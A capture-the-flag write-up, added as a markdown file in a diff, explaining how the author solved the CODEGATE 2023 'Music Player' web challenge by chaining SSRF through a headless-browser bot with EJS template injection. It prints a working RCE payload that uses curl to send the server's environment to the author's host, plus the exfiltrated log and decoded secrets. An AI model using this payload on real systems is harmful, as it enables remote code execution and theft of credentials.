|
| 1 | +# CODEGATE Music Player |
| 2 | + |
| 3 | +This was a web challenge where the web page showed a list of songs that could be played. |
| 4 | + |
| 5 | +Luckily, we were given the source code, as most of the interesting functionality was not reachable through simple navigation from the main page. |
| 6 | + |
| 7 | +The problem consist of 4 components: |
| 8 | +* Frontend |
| 9 | +* Redis |
| 10 | +* Server |
| 11 | +* Worker |
| 12 | + |
| 13 | +The worker is a headleass chrome that is started with puppeteer. It has the cookie `SECRET` set to `env.SECRET`. Whenever a new URL is added to the redis cache, the worker will visit it. |
| 14 | + |
| 15 | +The most interesting parts were in the server in the `main.js` file. There all the routes were defined. |
| 16 | + |
| 17 | +Initially the `/api/flag` route looked interesting, but I did not find a way to set the `SECRET` cookie to `env.FLAG`. Thus I looked at other things. |
| 18 | +```JavaScript |
| 19 | +app.patch("/api/flag", (req, res) => { |
| 20 | + const { flag } = req.body |
| 21 | + if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG) { |
| 22 | + return sendResponse(res, "Nope", 403) |
| 23 | + } |
| 24 | + return res.render("flag", flag) |
| 25 | +}) |
| 26 | +``` |
| 27 | + |
| 28 | +The next interesting part was the `/api/messages` endpoint. If the `SECRET` cookie was set to `env.SECRET`, the user controlled `id` parameter was passed direcly to `res.render` without sanitization. |
| 29 | +```JavaScript |
| 30 | +app.post("/api/messages", (req, res) => { |
| 31 | + const { id } = req.body |
| 32 | + if (!req.cookies["SECRET"] || req.cookies["SECRET"] !== SECRET) { |
| 33 | + return sendResponse(res, "Nope", 403) |
| 34 | + } |
| 35 | + return res.render("admin", {...id}) |
| 36 | +}) |
| 37 | +``` |
| 38 | + |
| 39 | +Render is used to render a view. In this case, ` "ejs": "^3.1.9",` was used as the view engine. |
| 40 | +There are a lot of resources about Server Side Template Injection to RCE in EJS. |
| 41 | +* https://eslam.io/posts/ejs-server-side-template-injection-rce/ |
| 42 | +* https://hxp.io/blog/101/hxp-CTF-2022-valentine/ |
| 43 | +* https://github.com/CyberHeroRS/writeups/blob/main/SEETF/2023/Express-JavaScript-Security/writeup/writeup.md |
| 44 | +* https://github.com/mde/ejs/issues/735 |
| 45 | + |
| 46 | + |
| 47 | +The basic idea is that the data and options for the render function are merged together. So it's possible to overwrite options with data sent n the `id` parameter. For more details, please red the links above. |
| 48 | + |
| 49 | +I patched out the `SECRET` check locally to try to see if I can get a working payload. After some tiral and error I came up with the following: |
| 50 | +```JSON |
| 51 | +{"id":{"debug":true,"settings":{"view options":{"client":true,"escapeFunction":"function(){};{process.mainModule.require('child_process').execSync('curl http://p3.yt/$(env|base64 -w0)')}"}},"cache":false}} |
| 52 | +``` |
| 53 | + |
| 54 | +This read out the environment variables and sent them to my remote server. What was lef to do was for the worker bot to visit our page. |
| 55 | + |
| 56 | + |
| 57 | +The `/api/inquiry` endpoint allowed to push an arbitrary URL to the redis cache. All the checks are basically just a small proof of work to not bruteforce the servere too hard. |
| 58 | +We remember that the worker will visit any new URL added to the redis cache. |
| 59 | +```JavaScript |
| 60 | +app.get("/api/inquiry", (req, res) => { |
| 61 | + if(!req.session.lastValue || !req.session.lastLength){ |
| 62 | + req.session.lastLength = DIFFICULTY |
| 63 | + req.session.lastValue = generateRandomString(DIFFICULTY) |
| 64 | + return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`) |
| 65 | + } |
| 66 | + |
| 67 | + if(!req.query.url || typeof req.query.url !== "string"){ |
| 68 | + return sendResponse(res, "No Hack!", 500) |
| 69 | + } |
| 70 | + |
| 71 | + if(!req.query.checksum || getLastCharacterMD5((req.query.checksum || ''), DIFFICULTY) !== req.session.lastValue){ |
| 72 | + req.session.lastLength = DIFFICULTY |
| 73 | + req.session.lastValue = generateRandomString(DIFFICULTY) |
| 74 | + return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`, 500) |
| 75 | + } |
| 76 | + |
| 77 | + redisQuery.rpush("query", req.query.url) |
| 78 | + req.session.lastLength = DIFFICULTY |
| 79 | + req.session.lastValue = generateRandomString(DIFFICULTY) |
| 80 | + |
| 81 | + return sendResponse(res, "Complete") |
| 82 | +}) |
| 83 | +``` |
| 84 | + |
| 85 | +We're almost there, but we the `SECRET` cookie on the worker bot was set for `"domain": "nginx"`. Thus, there is one more piece to the puzzle. |
| 86 | + |
| 87 | +The `/api/stream` endpoint accepts an arbitrary URL. The URL has to pass a few checks. It has to start with `http(s)` and not point to a internal IP. Additionally, the content-type of the response needs to be one of `const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]`. If all of the checks are passed, the URL is called and the response returned. |
| 88 | + |
| 89 | +```JavaScript |
| 90 | +// run streaming |
| 91 | +app.get("/api/stream/:url", (req, res) => { |
| 92 | + |
| 93 | + try { |
| 94 | + let url = req.params.url |
| 95 | + const domain = new URL(url).hostname |
| 96 | + |
| 97 | + // prevent memory overload |
| 98 | + redisCache.dbsize((err, result) => { |
| 99 | + if(result >= 256){ |
| 100 | + redisCache.flushdb() |
| 101 | + } |
| 102 | + }) |
| 103 | + |
| 104 | + // preventing DNS attacks, etc. |
| 105 | + getIPAddress(domain) |
| 106 | + .then(ipAddress => { |
| 107 | + if(!url.startsWith("http://") && !url.startsWith("https://")){ |
| 108 | + url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "") |
| 109 | + }else{ |
| 110 | + if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500) |
| 111 | + } |
| 112 | + |
| 113 | + // redis || axios |
| 114 | + redisCache.get(url.split("?")[0], (err, result) => { |
| 115 | + if (err || !result){ |
| 116 | + axios |
| 117 | + .get(url, { responseType: "arraybuffer", timeout: 3000 }) |
| 118 | + .then(response => { |
| 119 | + if (!allowedContentTypes.includes(response.headers["content-type"])){ |
| 120 | + return sendResponse(res, "Not a valid music file", 500) |
| 121 | + } |
| 122 | + if (response.data.byteLength >= 1024 * 1024 * 3) { |
| 123 | + return sendResponse(res, "Music file is too big", 500) |
| 124 | + } |
| 125 | + redisCache.set(url, response.data.toString("hex")) |
| 126 | + app.log.error(url) |
| 127 | + return sendResponse(res, response.data) |
| 128 | + }) |
| 129 | + .catch(err => { |
| 130 | + return sendResponse(res, err, 500) |
| 131 | + }) |
| 132 | + }else{ |
| 133 | + return sendResponse(res, Buffer.from(result, "hex")) |
| 134 | + } |
| 135 | + }) |
| 136 | + }) |
| 137 | + .catch(e => { |
| 138 | + return sendResponse(res, "No Hack!", 500) |
| 139 | + }) |
| 140 | + } catch (err) { |
| 141 | + return sendResponse(res, "Failed Streaming!", 500) |
| 142 | + } |
| 143 | +}) |
| 144 | +``` |
| 145 | + |
| 146 | +With this, we can finanlly put togeter the whole exploit chain. |
| 147 | + |
| 148 | +We craft the URL `http:///nginx/api/stream/http://p3.yt/p3.html`. This will point to our server with the malicious EJS payload. This payload will make a call to `/api/messages` with the `JSON` body described earlier. The content-type of this response is set to `audio/mpeg`. |
| 149 | + |
| 150 | +We use `/api/inquiry` to put this URL into the redis cache, which will trigger the worker bot to visit it. Because the worker bot has the`SECRET` cookie set for the `nginx` domain, the call to `/api/messages` will be made with the cookie and thus reach the injection point. |
| 151 | + |
| 152 | +The final URl looked like this: |
| 153 | + |
| 154 | +`url = f'http://3.36.93.133/api/inquiry?url=http%3A%2F%2Fnginx%2Fapi%2Fstream%2Fhttp%253A%252F%252Fp3%2Eyt%252Fp3%2Ehtml&checksum={checksum}'` |
| 155 | + |
| 156 | +When executed, the server will send us all the environment variables: |
| 157 | + |
| 158 | +``` |
| 159 | +3.36.93.133 - - [18/Jun/2023 14:05:25] "GET /p3.html HTTP/1.1" 200 - |
| 160 | +3.36.93.133 - - [18/Jun/2023 14:05:25] "GET /QVBQX0hPU1Q9MC4wLjAuMApSRURJU19VUkxfQ0FDSEU9cmVkaXM6Ly9yZWRpczo2Mzc5LzAKTk9ERV9WRVJTSU9OPTE4LjE2LjAKSE9TVE5BTUU9OWUzNzNjMjdjOGE2CllBUk5fVkVSU0lPTj0xLjIyLjE5CkhPTUU9L2hvbWUvY3RmCkFQUF9QT1JUPTUwMDAKRElGRklDVUxUWT02ClNUQVRJQ19IT1NUPS9hcGkvClBBVEg9L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluClNFQ1JFVD0yNjE0Y2ZmNjdlMmI0OTkwNzAwNDM4ZTgyNDFiNjZlNwpSRURJU19VUkxfUVVFUlk9cmVkaXM6Ly9yZWRpczo2Mzc5LzEKUFdEPS9hcHAKQVBJX1VSTD1odHRwczovL2ZlLmd5L2NvcHlyaWdodC1mcmVlLWNvbnRlbnQvCkZMQUc9Y29kZWdhdGUyMDIze2Nhbl93ZV9jYUxMX3RoaXNfYV8wZGF5P3ZlbmQwcl9zYXlzX2l0X2lzX3RoZV9kZXZlbG9wZXJzX21pc3Rha2VfdG9fY29kZV9saWtlX3RoaXN9Ck5PREVfRU5WPXByb2R1Y3Rpb24K HTTP/1.1" 404 - |
| 161 | +``` |
| 162 | + |
| 163 | +We can decode it to get the flag: |
| 164 | +```bash |
| 165 | +$ echo -n "QVBQX0hPU1Q9MC4wLjAuMApSRURJU19VUkxfQ0FDSEU9cmVkaXM6Ly9yZWRpczo2Mzc5LzAKTk9ERV9WRVJTSU9OPTE4LjE2LjAKSE9TVE5BTUU9OWUzNzNjMjdjOGE2CllBUk5fVkVSU0lPTj0xLjIyLjE5CkhPTUU9L2hvbWUvY3RmCkFQUF9QT1JUPTUwMDAKRElGRklDVUxUWT02ClNUQVRJQ19IT1NUPS9hcGkvClBBVEg9L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluClNFQ1JFVD0yNjE0Y2ZmNjdlMmI0OTkwNzAwNDM4ZTgyNDFiNjZlNwpSRURJU19VUkxfUVVFUlk9cmVkaXM6Ly9yZWRpczo2Mzc5LzEKUFdEPS9hcHAKQVBJX1VSTD1odHRwczovL2ZlLmd5L2NvcHlyaWdodC1mcmVlLWNvbnRlbnQvCkZMQUc9Y29kZWdhdGUyMDIze2Nhbl93ZV9jYUxMX3RoaXNfYV8wZGF5P3ZlbmQwcl9zYXlzX2l0X2lzX3RoZV9kZXZlbG9wZXJzX21pc3Rha2VfdG9fY29kZV9saWtlX3RoaXN9Ck5PREVfRU5WPXByb2R1Y3Rpb24K" | base64 -d |
| 166 | + |
| 167 | +APP_HOST=0.0.0.0 |
| 168 | +REDIS_URL_CACHE=redis://redis:6379/0 |
| 169 | +NODE_VERSION=18.16.0 |
| 170 | +HOSTNAME=9e373c27c8a6 |
| 171 | +YARN_VERSION=1.22.19 |
| 172 | +HOME=/home/ctf |
| 173 | +APP_PORT=5000 |
| 174 | +DIFFICULTY=6 |
| 175 | +STATIC_HOST=/api/ |
| 176 | +PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
| 177 | +SECRET=2614cff67e2b4990700438e8241b66e7 |
| 178 | +REDIS_URL_QUERY=redis://redis:6379/1 |
| 179 | +PWD=/app |
| 180 | +API_URL=https://fe.gy/copyright-free-content/ |
| 181 | +FLAG=codegate2023{can_we_caLL_this_a_0day?vend0r_says_it_is_the_developers_mistake_to_code_like_this} |
| 182 | +NODE_ENV=production |
| 183 | +``` |
| 184 | + |
| 185 | +See `s.py` and `brute.py` for the full server and client scripts used for the attack. |
0 commit comments